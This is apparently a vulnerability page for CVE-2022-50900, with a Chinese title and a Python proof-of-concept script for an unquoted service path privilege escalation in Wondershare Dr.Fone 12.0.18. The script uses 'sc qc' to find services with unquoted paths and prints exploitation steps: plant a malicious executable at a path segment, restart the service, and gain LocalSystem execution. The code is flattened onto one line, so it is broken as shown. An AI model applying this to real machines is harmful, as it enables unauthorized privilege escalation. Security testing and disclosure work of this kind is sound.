CVE-2022-50900: Wondershare Dr.Fone 未引用服务路径权限提升漏洞

#!/usr/bin/env python3 """ CVE-2022-50900 PoC - Wondershare Dr.Fone Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in Wondershare Dr.Fone 12.0.18 Note: For educational and authorized testing purposes only """ import os import sys import ctypes import subprocess def check_service_path(service_name): """Check if the service has an unquoted path with spaces""" try: result = subprocess.run( ['sc', 'qc', service_name], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print(f"[*] Checking service: {service_name}") for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Service path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Unquoted path with spaces detected!") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit_unquoted_path(malicious_exe_path, target_service): """ Exploit unquoted service path by placing malicious executable This creates a file that will be executed instead of the legitimate service """ # Extract the first directory name from the unquoted path # Example: C:\Program Files\Wondershare\Dr.Fone\bin\Service.exe # Attacker can place Program.exe in C:\ print(f"[*] To exploit this vulnerability:") print(f"[1] Create a malicious executable at a path that matches the first segment") print(f"[2] Wait for the service to restart or force restart: sc stop {target_service} && sc start {target_service}") print(f"[3] The malicious code will execute with LocalSystem privileges") print(f"\n[!] This is for authorized security testing only!") if __name__ == "__main__": print("=" * 60) print("CVE-2022-50900 - Wondershare Dr.Fone Unquoted Service Path") print("=" * 60) # Check if running with admin privileges if ctypes.windll.shell32.IsUserAnAdmin(): print("[+] Running with administrator privileges") else: print("[!] Warning: Not running as administrator") # Check for vulnerable service vulnerable_services = ['InstallAssist', 'DrFoneService', 'Wondershare Service'] for svc in vulnerable_services: if check_service_path(svc): exploit_unquoted_path(None, svc) break